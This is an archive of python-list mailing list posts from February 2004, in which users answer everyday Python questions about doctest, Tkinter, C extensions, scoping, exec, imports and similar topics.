> > I haven't pursued the issue since then, but I guess I can do some
> > more work on the code now.
> 
> I'd be happy to help, or cheerlead, or anything.  Is this something
> that belongs on the python-crypto list?

I dunno, discussions on that list tend to go around in circles.  There
were a couple of unresolved questions about the API that I've now
forgotten.  I guess I should dig up that code and look at it again.

Do you happen to have a pure-Python DES implementation around?  I
started writing one once, but it had some bug (i.e. it didn't pass
FIPS test vectors) that I never got around chasing down.

Did you ever look at the key management scheme I circulated a while
back?  Is it the kind of thing anyone cares about?


From deets_noospaam at web.de  Mon Feb  2 18:13:21 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Tue, 03 Feb 2004 00:13:21 +0100
Subject: Produce anti-noise
References: <56f42e53.0402021410.5f2b2d93@posting.google.com>
Message-ID: <bvmlik$kam$06$1@news.t-online.com>

> I want to know if the is a way to do something in python to produce
> some anti-noise (i.e. I talk in the microphone and the sound go out by
> the speakers but with inversed phase).
> 
> So I want to know how to control the microphone and to add some sort
> of effect to the sound that enter in and to put it out with that
> effect and all this at the same time.

AFAIK such things need vast amounts of computational power for very
complicated algorithms and very low latencies - a job for specialised DSP
code. Its much more complicated than inverting the amplitude (I don't think
that inverting the phase is possible - AFAIK you can only shift it, and
thats not what you want here...)

So I seriously doubt that you can do that with python - I even doubt that
you can do it with you computer. Not so much from the raw computational
power side of the thing, but much more from your audio-equipment.
Professional noise reduction systems costs several thousands of euro and
feature lots of speakers, especially designed, chosen and arranged to
reflect the acoustic envrionment of _one_ room, e.g. the inside of a
certain car. Then specially adapted algorithms come into play.

And AFAIK they only do a decent job of suppressing predictable signals -
like noise from rolling tyres, wind and engines.

Look at www.bose.de, at least in german they have some explanations on whats
actually going on.

However, it _is_ possible to access microphone and speakers - look for 
portaudio or rtaudio-0.2b (for alsa/linux)

Regards,

Diez


From pmetzger at bellsouth.net  Fri Feb 13 17:01:50 2004
From: pmetzger at bellsouth.net (Paul Metzger)
Date: Fri, 13 Feb 2004 16:01:50 -0600
Subject: 6 Qustions about Python: Does it do GUI?  more...
In-Reply-To: <31575A892FF6D1118F5800600846864D01200F82@intrepid>
Message-ID: <200402132203.i1DM3Q25011588@apollo.megagate.com>

 
> > 5 - Does it come with a compiler or must the user have the 
> interpreter 
> > on their machine?
> 
> No and no. ;-) Python is a little (lust a little) like Java 
> in this respect
> - the user needs the Python virtual machine to run Python 
> software. This is pretty much bound up with the interpreter, 
> so I think it's fair to say that the user needs the interpreter.
>

That is not entirely accurate. You can get py2exe which will wrap up the
interpreter and the modules all in one nice little package with the needed
.dlls. Work quite well. I have used it for a couple of quick apps I have
written that I needed to be portable:)

Paul




From skip at pobox.com  Wed Feb 11 12:15:21 2004
From: skip at pobox.com (Skip Montanaro)
Date: Wed, 11 Feb 2004 11:15:21 -0600
Subject: How to avoid "f.close" (no parens) bug?
In-Reply-To: <A128D751272CD411BC9200508BC2194D033835E6@escpl.tcp.com.ar>
References: <A128D751272CD411BC9200508BC2194D033835E6@escpl.tcp.com.ar>
Message-ID: <16426.25385.208478.962561@montanaro.dyndns.org>


    Facundo> But, what's the point to have a...

    Facundo> t.spanish_inquisition

    Facundo> ...alone?

You might want it precisely for its side effects.

    Facundo> What I'm trying to say is: If you're not executing any code (no
    Facundo> function call) and you're not doing any assingment, what's the
    Facundo> point of that line?

There is none, but the Python compiler doesn't know that when it compiles
the code, so it's not reasonable for it to issue a warning.  The OP
indicated he had a hard time discovering

    f.close

instead of the

    f.close()

which he had intended.  A couple of us chimed in that he could detect the
problem with pychecker.  That pychecker can only say

    f.close appears to have no effect

is precisely because it can't easily (or at all?) tell whether or not it's
of any use, even though it has a more global view of the run-time
environment than the compiler does (which only considers a single module in
isolation).

Skip





From prouleau at impathnetworks.com  Fri Feb 27 13:04:57 2004
From: prouleau at impathnetworks.com (Pierre Rouleau)
Date: Fri, 27 Feb 2004 13:04:57 -0500
Subject: Problem with mixing doctest with gettext _()
In-Reply-To: <s7L%b.18214$Mo4.612706@news20.bellglobal.com>
References: <Ysz%b.20076$253.1212052@news20.bellglobal.com>	<mailman.191.1077856934.8594.python-list@python.org>	<FZG%b.20178$253.1255290@news20.bellglobal.com>
	<mailman.199.1077893785.8594.python-list@python.org>
	<uZJ%b.23270$ee3.513937@news20.bellglobal.com>
	<c1ns58$kti$03$1@news.t-online.com>
	<s7L%b.18214$Mo4.612706@news20.bellglobal.com>
Message-ID: <MvL%b.20343$253.1307828@news20.bellglobal.com>

Pierre Rouleau wrote:

> Peter Otten wrote:
> 
>> Pierre Rouleau wrote:
>>
>>
>>> Skip Montanaro wrote:
>>>
>>>
>>>> If you really want a dummy _() you can also stuff your version into
>>>> builtins:
>>>>
>>>>    >>> import __builtin__
>>>>    >>> def foo(s): return s
>>>>    ...
>>>>    >>> __builtin__._ = foo
>>>>    >>> _
>>>>    <function foo at 0x1d6670>
>>>>    >>> _("hi")
>>>>    'hi'
>>>
>>>
>>> I tried that, but it only works for the first call...
>>
>>
>>
>> Setting __builtin__._ to the result of the last calculation is a side 
>> effect
>> of sys.displayhook. Therefore you need to change that too:
>>
>> Python 2.3.3 (#1, Jan  3 2004, 13:57:08)
>> [GCC 3.2] on linux2
>> Type "help", "copyright", "credits" or "license" for more information.
>>
>>>>> import sys
>>>>> def mydisplayhook(a):
>>
>>
>> ...     if a is not None: sys.stdout.write("%r\n" % a)
>> ...
>>
>>>>> def foo(s): return s
>>
>>
>> ...
>>
>>>>> sys.displayhook = mydisplayhook
>>>>> import __builtin__
>>>>> __builtin__._ = foo
>>>>> _("hi")
>>
>>
>> 'hi'
>>
>>>>> _("hello")
>>
>>
>> 'hello'
>>
> 
> Thanks Peter, it does work!


It worked, BUT only for a simple function, it fails if I add a another 
simple function:

My updated teststr.py script:

#--[--------------------------------------
def onOffStr(isOn) :
     """Return the "ON" string for True, "OFF" for False.

     **Example**

     >>> onOffStr(True)
     u'ON'
     >>> onOffStr(False)
     u'OFF'
     >>>
     """
     if isOn:
         return _(u"ON")
     else:
         return _(u"OFF")


def inList(longString, stringList) :
     """Return True if one of the string in `stringList` is inside 
`longString`.

     Also return the list index.
     **Example**

     >>> L = ["**", "/*"]
     >>> inList("aksdkajshd",L)
     (False, 0)
     >>> inList("aksdkajsh**d",L)
     (True, 0)

     """

     theIndex = 0
     for theStr in stringList:
         if longString.find(theStr) >= 0:
             return (True,theIndex)
         theIndex +=1
     return (False,0)


def _test():
     """_test() perform docstring test"""

     import doctest, teststr
     return doctest.testmod(teststr)

if __name__ == "__main__":
     import sys

     def test_displayhook(a):
         if a is not None: sys.stdout.write("%r\n" % a)

     def test_translator(aString):
         return aString

     sys.displayhook = test_displayhook

     import __builtin__
     __builtin__._ = test_translator
     _test()

#--]--------------------------------------

Running the test fails:

D:\dev\python>teststr
*****************************************************************
Failure in example: inList("aksdkajshd",L)
from line #6 of teststr.inList
Exception raised:
Traceback (most recent call last):
   File "c:\Python23\lib\doctest.py", line 442, in _run_examples_inner
     compileflags, 1) in globs
   File "<string>", line 1, in ?
   File "D:\dev\python\teststr.py", line 50, in test_displayhook
     if a is not None: sys.stdout.write("%r\n" % a)
TypeError: not all arguments converted during string formatting
*****************************************************************
Failure in example: inList("aksdkajsh**d",L)
from line #8 of teststr.inList
Exception raised:
Traceback (most recent call last):
   File "c:\Python23\lib\doctest.py", line 442, in _run_examples_inner
     compileflags, 1) in globs
   File "<string>", line 1, in ?
   File "D:\dev\python\teststr.py", line 50, in test_displayhook
     if a is not None: sys.stdout.write("%r\n" % a)
TypeError: not all arguments converted during string formatting
*****************************************************************
1 items had failures:
    2 of   3 in teststr.inList
***Test Failed*** 2 failures.

#------------------------------------------

So far, I don't have a solution for writing internationalized Python 
that support doctest.  Surely, I am not the first one trying to do that...


Pierre



From fumanchu at amor.org  Mon Feb 23 12:33:42 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Mon, 23 Feb 2004 09:33:42 -0800
Subject: how to find a function definition using AST
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D92@opus.amorhq.net>

Stephen Emslie wrote:
> I am using the compiler.visitor module to examine a piece of code and
> extract certain useful information. However, I have run into 
> trouble that I
> dont know how to solve. When I override visitCallFunc I can 
> get the name of
> the function being called, but thats about it. What I would 
> really like is
> to know exactly where that function is defined (line of code, 
> what class if
> belongs to, everything).
> 
> I had a thought that when one prints the node argument from 
> visitCallFunc
> then you can see a node which looks something like 
> Getattr(Name('catfish'),
> 'double'. Perhaps if this statement could be evaluated then 
> the function in
> question could be found.
> 
> class MyVisitor(visitor.ASTVisitor):
>     def visitCallFunc(self,node):
>         print node

Hi Stephen,

You might notice (by looking at compiler.visitor source code) that, if
you define visitCallFunc, you have to continue walking that node on your
own--it isn't done for you. You might modify visitCallFunc to do the
same thing that the default() method does (after your print statement,
perhaps):

    def default(self, node, *args):
        for child in node.getChildNodes():
            self.dispatch(child, *args)

Also, note that a CallFunc Node obtains a set of attributes which other
Nodes don't have:



From davecook at nowhere.net  Thu Feb 26 12:33:11 2004
From: davecook at nowhere.net (David M. Cook)
Date: Thu, 26 Feb 2004 17:33:11 GMT
Subject: Play with classes
References: <cth4qte878u.fsf@lcpxdf.wm.lc.ehu.es>
Message-ID: <slrnc3sben.2r7.davecook@localhost.localdomain>

In article <cth4qte878u.fsf at lcpxdf.wm.lc.ehu.es>, Zunbeltz Izaola wrote:

> Supose the user whant to combine ModeA with TypeB and SubtypeB, so I need
> something like
> 
> class UserClass(ModeA, TypeB, SubtypeB):


You can use the type builtin (2.2 and above) to create a class type
dynamically.  Syntax is

type(name_string, bases_tuple, methods_dict)

For example:

In [68]: foo = type('Foo', (object,), {})
In [69]: foo.mro()
Out[69]: [<class '__main__.Foo'>, <type 'object'>]
 
Dave Cook


From apardon at forel.vub.ac.be  Wed Feb 25 03:47:39 2004
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 25 Feb 2004 08:47:39 GMT
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<403b84f8$0$134$3a628fcd@reader1.nntp.hccnet.nl>
Message-ID: <slrnc3oo9a.pob.apardon@trout.vub.ac.be>

Op 2004-02-24, Anton Vredegoor schreef <anton at vredegoor.doge.nl>:
> Antoon Pardon <apardon at forel.vub.ac.be> wrote:
>
>> [ ... ]
>

>>What do people think about this?
>>As far as I know the proposal doesn't break existing
>>code and seems in the spirit of python.
>
> I don't see much merit in this, since functions are designed to go out
> of scope once they are executed. Having sub-scopes change names higher
> up is considered a no-no in Python,

I don't understand why. It already is possible with global variables.
I don't see much difference between a function changing a higher up
variable that is global or just in between.

>>On a side note, what would people think about the idea of
>>a from ... import ... statement usable on any object? So
>>that we could do:
>>
>>class A:
>>  pass
>>
>>A.a = ...
>>A.b = ...
>>
>>from A import a, b
>>
>># from here a and be refer to A.a and A.b
>
> This raises the question of why not to use a class to begin with even
> for your earlier proposals. Anyway, this can be accomplished easily
> with:
>
>   a,b = A.a,A.b

Well maybe my wording was off, but this doesn't accomplisch what I
want since after your statement followed by: a = new_value; A.a will
not be changed.

-- 
Antoon Pardon


From mwilson at the-wire.com  Fri Feb 20 09:46:23 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Fri, 20 Feb 2004 09:46:23 -0500
Subject: eval ?
References: <mailman.104.1077277571.27104.python-list@python.org>
Message-ID: </2hNAls/KTfD089yn@the-wire.com>

In article <mailman.104.1077277571.27104.python-list at python.org>,
Angelo Secchi <secchi at sssup.it> wrote:
>
>I'm trying to use eval (is the right function? ) to generate empty lists
>with different names(es. list_1, list_2, list_3, ...) in a loop similar
>to:
>
>for index in range(1,4):
>	list=[]
>	for index in range(1,7):
>		if <condition>:
>			list.append(1)
>	foo='list_'+str(index)+'=list'
>	eval(foo)
>
>I am not a programmer as you probably see from the code and I do not
>even know if this is the right approach to do that in Python (I used
>this structure with Matlab that I want now to dismiss ...)

I believe you want exec .  Do you mean something like:

        for i in range (1, 4+1):
            li = []
            for j in range (1, 7+1):
                if (condition):
                    li.append (1)
                    exec ("list_%d%d = li[:]" % (i, j,))

(I've improvised out of a few possible problems.
   `list` is already used in Python as the type for lists.
It's better to name an actual list something else:  `li` for
instance.
   It's possible to use `index` for two different things, as
you've done, but frequently each use needs its own name, as
here.
   Each run through the `i` loop creates a distinct list,
which is given the name `li`.  In the `j` loop this distinct
list is appended to without changing its identity.  Unless
you apply your new name to a copy of that list, all your
`list_1x` names will apply to the same list instance.. as will
all your `list_2x` names, all your `list_3x` names, etc. The
`li[:]` construct copies the contents of li into a fresh
list instance each time.  This may (or may not) be what you
wanted.)

        Regards.        Mel.


From max at alcyone.com  Thu Feb  5 22:08:03 2004
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 05 Feb 2004 19:08:03 -0800
Subject: spam classification breaker
References: <mailman.1245.1075996814.12720.python-list@python.org>
Message-ID: <40230513.2A28D577@alcyone.com>

Tim Peters wrote:

> I have to deduce *your* magic words, not mine.  I have to send email
> to you,
> and deduce what you did and didn't look at.  This is an expensive
> process
> for the spammer, of course.

Which defeats the whole economic basis for spamming.  Spammers spam
because it is exceptionally cheap for them to do it in bulk.  When they
buy lists, they don't care if significant numbers of the addresses are
invalid; who cares, they're sending them to a million people anyway.

Careful attention to get an individual message through to _one_ person
by means of carefully adjusting the contents of the messages to tell
when it got through (how you'd know is another question, since most
filtering systems drop the spam message on the floor rather than
bouncing it outright).  It simply isn't worth the spammers time and
effort to pay so much attention to an individual target.

The economics of spam itself mean that if you have a competent,
well-trained filter in operation, you really don't have to worry about
this kind of attack.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ Moral indignation is jealousy with a halo.
    -- H.G. Wells


From simonb at webone.com.au  Mon Feb 23 17:57:16 2004
From: simonb at webone.com.au (Simon Burton)
Date: Tue, 24 Feb 2004 09:57:16 +1100
Subject: Need help with C extensions
References: <CFN376615581598264@news.mindspring.com>
Message-ID: <pan.2003.02.10.01.01.14.301423@webone.com.au>

On Sun, 09 Feb 2003 13:23:45 +0000, Carl Bevil wrote:

> Hello all.  I am attempting to wrap a C library so that I can use it in 
> Python.  I've used SWIG on the header for this file, and am able to import and 
> run functions from the library.
> 
> The problem is that the library makes use of pointers as arguments and as 
> return values.  For example, a C function:
> 
> void GetValues(float* val1, float* val2)
> 

Yes. I use the "pointer.i" SWIG library to "dereference" pointers (aka
array lookups) from python. Unfortunately, i think it may be deprecated...

Simon Burton.




From mcherm at mcherm.com  Fri Feb 13 11:51:27 2004
From: mcherm at mcherm.com (Michael Chermside)
Date: Fri, 13 Feb 2004 08:51:27 -0800
Subject: How to avoid "f.close" (no parens) bug?
Message-ID: <1076691087.402d008f186ca@mcherm.com>

Facundo writes:
> class Test:
>     def __getattr__(self, name):
>         print "Nobody expects the %s!" % name
> 
> t = Test()
> t.spanish_inquisition = 5
> newvar = t.spanish_inquisition
> 
> But, what's the point to have a...
> 
> t.spanish_inquisition
    [...]
> What I'm trying to say is: If you're not executing any code (no function
> call) and you're not doing any assingment, what's the point of that line?

The point is consistancy. Python the language should be designed to do
what you tell it to, and to have a MINIMUM of special cases and exceptions.
It's a general rule that an expression is a valid kind of statement. Here
is a SENSIBLE use of that:

    myObject.getSize() # this causes myObject to initialize itself

Here are some silly uses:

    23
    t.spanish_inquisition

And here is a VERY IMPORTANT use:

    myList.sort()

Remember... that sort() method RETURNS A VALUE... the value None. Which we
proceed to ignore.

Now, I certainly agree that you don't NORMALLY want to write things like
"t.spanish_inquisition". And that's why pychecker warns about them. But
python (the interpreter) and pychecker serve different purposes. Python
(the interpreter) should just do whatever you tell it to... because if
it won't, then you have no recourse. But pychecker should (and does) warn
you if it thinks what you are doing might be a problem. If you know that
you really DID mean it, then just disregard the warning.

Moral: use pychecker.

-- Michael Chermside



From seberino at spawar.navy.mil  Tue Feb 10 20:14:05 2004
From: seberino at spawar.navy.mil (seberino at spawar.navy.mil)
Date: Tue, 10 Feb 2004 17:14:05 -0800
Subject: Python.h problem-> /usr/include/python2.2/longobject.h:48:
	warning: ISO C89 does not support `long long'
In-Reply-To: <16425.31826.535656.7252@montanaro.dyndns.org>
References: <bf23f78f.0402101432.3ccff43c@posting.google.com>
	<16425.25330.886172.548459@montanaro.dyndns.org>
	<20040210231435.GB15796@spawar.navy.mil>
	<16425.31826.535656.7252@montanaro.dyndns.org>
Message-ID: <20040211011405.GA16073@spawar.navy.mil>

Skip

Thanks,  that explains a lot.

Extensions to ANSI C don't cause any problems
per se that I can think of.

However, I know in near future all Python
integers will be of type "Python long" and there
won't be "Python ints" anymore IIRC.

I wonder if Python source will still use 64 bit ints then in
implementation.

chris

On Tue, Feb 10, 2004 at 06:50:26PM -0600, Skip Montanaro wrote:
>
>     Chris> Is "long long" an extension of ANSI C? That Python uses?
>
> Yup.  Python's build process knows the difference between 'long long' (the
> way GCC spells it) and _int64 (the way MSVC spells it).  No other extensions
> are currently supported.  Are there other ways to spell "64-bit int" in use
> at the moment?
>
> Skip
>

--
_______________________________________

Christian Seberino, Ph.D.
SPAWAR Systems Center San Diego
Code 2872
49258 Mills Street, Room 158
San Diego, CA 92152-5385
U.S.A.

Phone: (619) 553-9973
Fax  : (619) 553-6521
Email: seberino at spawar.navy.mil
_______________________________________



From kottalam at cs.ucdavis.edu  Tue Feb  3 00:29:15 2004
From: kottalam at cs.ucdavis.edu (Jey Kottalam)
Date: Mon, 2 Feb 2004 21:29:15 -0800
Subject: __del__ warnings apply to tp_dealloc?
Message-ID: <bvnbkj$7h$1@woodrow.ucdavis.edu>

Hi,

The Python 2.3 Language Reference cautions that __del__ is not guarnateed to
be invoked at
http://www.python.org/doc/current/ref/customization.html#l2h-175 . I am
writing a Python extension in C and I was wondering if the same precautions
apply to tp_dealloc, that is, is there a possibility that the tp_delloc for
my type may not be invoked?

Thanks in advance,
Jey Kottalam




From http  Mon Feb  2 03:48:42 2004
From: http (Paul Rubin)
Date: 02 Feb 2004 00:48:42 -0800
Subject: C extension=> pow(2,
	1) gives DIFFERENT answers in different parts of C extension!?!?!
	Any ideas why?
References: <bf23f78f.0402020018.4e67de2b@posting.google.com>
Message-ID: <7xr7xd7tp1.fsf@ruckus.brouhaha.com>

seberino at spawar.navy.mil (Christian Seberino) writes:
> I put this print statement in various parts of my c extension...
> 
> printf("XXX %lf\n", pow(2,1));

Try pow(2.0, 1.0).


From alan.gauld at btinternet.com  Sat Feb 21 14:44:43 2004
From: alan.gauld at btinternet.com (Alan Gauld)
Date: Sat, 21 Feb 2004 19:44:43 +0000
Subject: class vs function ???
References: <1c764367.0402210857.579f59ab@posting.google.com>
Message-ID: <ne8f30trfbn1c8409daac6h0vdr51ha5pu@4ax.com>

On 21 Feb 2004 08:57:44 -0800, gveda at iitk.ac.in (Gaurav Veda)
wrote:
> What is the difference between a class and a function in Python ???

Pretty much the same as in every other OOP programming language.
Your question is not really about Python but about OO.

To try to answer it I'll start with the big picture answer:

A function is an operation that returns a value. The value may be
None. A function can be used directly by other bits of your
program.

A class is a combination of some data and the functions which
operate on that data all wrapped up as a single item. A class is
a template which is used to create objects. You normally use the
objects in your program not the classes.

You might want to look at the Modular Programming and OOP topics
in my online tutorial for more details.(see the .sig)

Now let's look at your issues:

> def fun1():
>     global b
>     b = "inside fun1"
>     print b
> fun1()

Here we define a function called fun1 which takes no parameters
and returns None as a value (None is the defauilt in Python).
Inside the function is some code which, incidentally, does not
follow good programming practice. 

[It is better to have your functions completely predictable in
effect. Thus values are passed in, those values are not changed
by the function, the function does not print anything, and the
function returns a result. ]

Of course you are simply printing for debug purposes but in
general its bad practice. However this is all aside from your
main issue...


> def c1():
>     print a
>     print b
>     c = 12
>     def fun2():
>         global d
>         d = "We are dead !!!"
>         print d
>     fun2()
> c1()

This defines a second function called c1 which amongst other
things defines yet another function, fun2, and calls it.
You then call c1.

> class c2:
>     pass

Here we define a class called c2 which does nothing.
And we do not create any objects from it.

> class c1:
>     print a
>     print b
>     c = 12
>     def fun2():
>         global d
>         d = "We are dead !!!"
>         print d
>     fun2()

Here we create a new class called c1 which contains a variable
called c. In the process of defining the class we incidentally
define another function called fun2 and call it. It has nothing
to do with the class as such.

> class c2:
>     pass

And here we define another new class called c2 which does nothing
except replace the reference to the old c2 class which will, in
due time, be garbage collected.

We have not yet created any objects from any of our classes.
We have executed the class definition code which just happens to
do some printing of values and defining and executing of
functions. But the net result is two classes, one of which is
empty and the other contains a single variable and a function
which is effectively unusable.

We can see the variable by typing

print c1.c


> The output of both these codes are precisely the same ! (including the
> error because of 'print c')

That's correct, but just because the visible output is the same
does not mean that they are doing the same thing. Nor even that
the end result is the same.

Lets look at one feature of your program again in more detail:

def fun1():
    c = 12
    print "inside fun1"
    print c

class c1:
    d = 42
    print "defining class c1"
    print d

fun1()
print c
print c1.d

Now we can print the d that is inside c1 but not the c that is
inside fun1. This is because c only exists while fun1 is
executing. But d persists after the class is created because the
class itself persists.

To make c visible after fun1 completes we must declare it global,
as you did, but that in reality global simply creates a value
outside of fun1. (See the namespaces topic in my tutor for
that...)

A class is a container and anything you create within its
definition persists and can be accessed, whereas a function is
just a bit of executable code and any values created inside it
are lost when the function exits.

However the real power of classes is only seen once you create
instances of them - ie objects. But that's for another time.

HTH,

Alan G.
Author of the Learn to Program website
http://www.freenetpages.co.uk/hp/alan.gauld


From aahz at pythoncraft.com  Fri Feb 27 15:49:22 2004
From: aahz at pythoncraft.com (Aahz)
Date: 27 Feb 2004 15:49:22 -0500
Subject: When things go badly in PyGC_Collect()
References: <403e2bfd.9144015@news.t-online.de> <403f4f86_1@127.0.0.1>
	<mailman.202.1077899652.8594.python-list@python.org>
Message-ID: <c1oagi$71d$1@panix3.panix.com>

In article <mailman.202.1077899652.8594.python-list at python.org>,
Paul Miller  <paul at fxtech.com> wrote:
>
>I'm running into a situation where the first call to PyCG_Collect during a 
>Py_Finalize, is dying a horrible death and throwing an exception. It is 
>after *MANY* iterations of the GC loop, so I haven't pinpointed where 
>exactly it is happening.
>
>Some notes - this is with Python 2.3 BTW, on Windows.
>
>1. this happens in some code where I'm initializing Python, doing some 
>script/module stuff, finalizing Python, and then doing the process again
>2. it happens on the SECOND time, during the Py_Finalize
>3. it only seems to happen if I've used the zip importer
>4. it DOES NOT happen in a trivial test program I wrote that doesn't have 
>all the massive script baggage in my real program

What's the exception and stack trace?  Are you using weakrefs at all?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Do not taunt happy fun for loops. Do not change lists you are looping over."
--Remco Gerlich, comp.lang.python


From claird at lairds.com  Sun Feb 22 14:26:11 2004
From: claird at lairds.com (Cameron Laird)
Date: Sun, 22 Feb 2004 19:26:11 -0000
Subject: Error in 2.2.1 Tkinter? (was: limiting text input in Tkinter Entry
	widget)
References: <4038d6c2$0$49821$1b2cd167@news.wanadoo.nl>
	<103ho4p6m98gs97@news.supernews.com>
Message-ID: <103i0ij3hnd4n76@corp.supernews.com>

In article <103ho4p6m98gs97 at news.supernews.com>,
John Roth <newsgroups at jhrothjr.com> wrote:
>
>"Otto Kr?se" <otto_kruse at hotmail.com> wrote in message
>news:4038d6c2$0$49821$1b2cd167 at news.wanadoo.nl...
			.
			.
			.
>> Does anyone know a way to limit the amount of characters an entry widget
>> can take? Is there an easy option to set for this or does this problem
>> require some python code? Can't seem to find answers in any documentation.
>>
>> The code:
>> self.e1 = Entry(frame, width="4")
>> self.e2 = Entry(frame, width="2")
>
>The MegaWidgits package has an EntryField widgit that has some
>built-in validation, and has a hook for you to insert a validation function
>or method.
>
>Otherwise, you need to do the validation as you collect text characters
>and pass them to the widgit.
>
>Validation code is inherently ugly. Not complex, just ugly. In your case
>I'd probably do some form of pattern driven validation.
			.
			.
			.
Without disputing the general proposition about the aesthetics
of validation of user data, there's supposed to be a simpler 
answer.  Tkinter includes textvariable and trace capabilities
which should make this as compact as
  import Tkinter

  root = Tkinter.Tk()

  def validate(name, index, mode):
    value = root.getvar(name)
      # Truncate the entry text to its first four characters.
    root.setvar(name, value[0:4])

  my_variable = Tkinter.StringVar()
  my_variable.trace_variable('w', validate)

  my_entry = Tkinter.Entry(width = 4, textvariable = my_variable)
  my_entry.pack()

  Tkinter.mainloop
In practice, one would likely encapsulate the "bookkeeping" in
an object.

The problem is that, when I run this example, Tkinter tosses the
exception
  TclError: can't read "PY_VAR0": no such variable
This surprises me.  I'm *sure* I've done this before.  Before I
dive into the distribution source code, is it obvious to anyone
else what I'm missing?
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From exarkun at intarweb.us  Mon Feb  9 21:02:15 2004
From: exarkun at intarweb.us (Jp Calderone)
Date: Mon, 9 Feb 2004 21:02:15 -0500
Subject: Unix domain sockets / IPC - how to get remote process/user id?
In-Reply-To: <20040210012230.GB2646@unpythonic.net>
References: <78c7ca81.0402091539.82af1cb@posting.google.com>
	<20040210012230.GB2646@unpythonic.net>
Message-ID: <20040210020215.GA27978@intarweb.us>

On Mon, Feb 09, 2004 at 07:22:30PM -0600, Jeff Epler wrote:
> On Mon, Feb 09, 2004 at 03:39:34PM -0800, Fossie wrote:
> > So, for my question: What are my options? I cannot believe I am the
> > first with this problem. Preferable, only standard python packages
> > should be used.
> 
> My Linux manpage for unix(7) indicates that SCM_RIGHTS is not portable.
> (I am not 100% sure this is what you're talking about, because it's
> nothing I've ever done before) In any case, I looked but didn't find an
> implementation of the needed sendmsg(2) .. I found only this:
> 	https://sourceforge.net/tracker/?func=detail&atid=355470&aid=814689&group_id=5470
> Wrapping sendmsg with pyrex, ctypes, or even with a new C module might
> be a good first project in extending Python.  If you do your work in
> the form of a patch to Python, I suspect it would easily gain approval.
> Once you'd tested your patch and added tests for it, you'd submit the
> patch to the bug I mentioned above or as a new item in the Patch area.

  There's a wrapper for sendmsg(2) in Twisted's sandbox:

    http://cvs.twistedmatrix.com/cvs/sandbox/pahan/sendmsg/

  This may be a good start.  It'd be great to have this in the stdlib.

  Jp



From peter at engcorp.com  Tue Feb 24 14:10:15 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 24 Feb 2004 14:10:15 -0500
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake>
Message-ID: <403BA197.99C6A4C5@engcorp.com>

Ben Finney wrote:
> 
> Howdy all,
> 
> Just when we thought things were looking up on the whole "Windows as a
> trademark" for something that Microsoft didn't originate in the first
> place.
> 
> The wxWindows project have announced that they are changing their name
> to wxWidgets, specifically to avoid problems with the Microsoft product
> name.
> 
>     <http://www.wxwindows.org/name.htm>

I haven't read the link (deliberately, for now) but I'd point out that the
some of the "problems" they are avoiding by doing so are the possible confusion
in the minds of potential users as to whether wxWindows is cross-platform
or not.  wxWidgets might be an easier "sell" as a cross-platform GUI framework,
so in that sense it's not a bad idea.

Who really wants "windows" in their product name in this day and age anyway?

It's not like it carries connotations of reliability or good design, is it?

-Peter


From peter at engcorp.com  Fri Feb 13 17:30:15 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 13 Feb 2004 17:30:15 -0500
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
	<c0jf75$or2$2@atlantis.news.tpi.pl>
Message-ID: <402D4FF7.944423B7@engcorp.com>

Jarek Zgoda wrote:
> 
> Stuart Bishop <stuart.b at commonground.com.au> pisze:
> 
> > Classifying a lack of Unicode support in an XML parser as a
> > 'bug' is ridiculous.
> 
> Lack of Unicode support in an XML parser makes it unusable for most part
> of humanity. It's much worse than bug, it's a mistake.

Most of humanity doesn't use XML, so that's silly.

And for the rest of us that do, *many* don't use it for textual data,
but merely as a standard structured way of representing simple non-Unicode
data, and for that pyRXP is intended to be quite suitable.

For those who need non-ASCII input, pyRXP is clearly documented as
being unsuitable.

-Peter


From nuffsaid at phreaker.net  Tue Feb  3 07:21:25 2004
From: nuffsaid at phreaker.net (Nuff Said)
Date: Tue, 03 Feb 2004 13:21:25 +0100
Subject: Newbie import probelm..
References: <ff36431bb1a38e64e5fa583bf7be2715@localhost.talkaboutprogramming.com>
Message-ID: <pan.2004.02.03.12.21.19.53063@phreaker.net>

On Tue, 03 Feb 2004 06:15:41 -0600, yab wrote:

> Hallo,
> 
> Why does this work when I type it in a t the interpreter prompt;
> 
>>>>class invoker:
> 	def ex(self,cmd):
> 		print 'would do ', cmd
> 
>>>>x=invoker()
> x.ex('test')
> would do  test
> 
> but if I save invoker as invoker.py in a dir that is in sys.path and import it the follwoing happens;
> 
>>>> import invoker
>>>> x=invoker()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> TypeError: 'module' object is not callable
>>>>

To make things clearer, let's call your module 'mymod.py' instead of
invoker.py. Now, if you import mymod, you add the name mymod to your
namespace. In order to use the class invoker, you have to write:

    import mymod
    x = mymod.invoker()

If you want to use the class invoker directly, you can write:

    from mymod import invoker
    x = invoker()

The 'from mymod import invoker' adds the name invoker to your namespace.
(Be careful with this; you have to pay attention to possible name clashes
with already defined names in your namespace.)

HTH / Nuff





From not.available at na.no  Fri Feb 27 16:39:36 2004
From: not.available at na.no (Noen)
Date: Fri, 27 Feb 2004 21:39:36 GMT
Subject: Running insecure python code
In-Reply-To: <2004022623031275249%bob@redivicom>
References: <hQq%b.41604$BD3.8026233@juliett.dax.net>
	<mailman.189.1077849062.8594.python-list@python.org>
	<2004022623031275249%bob@redivicom>
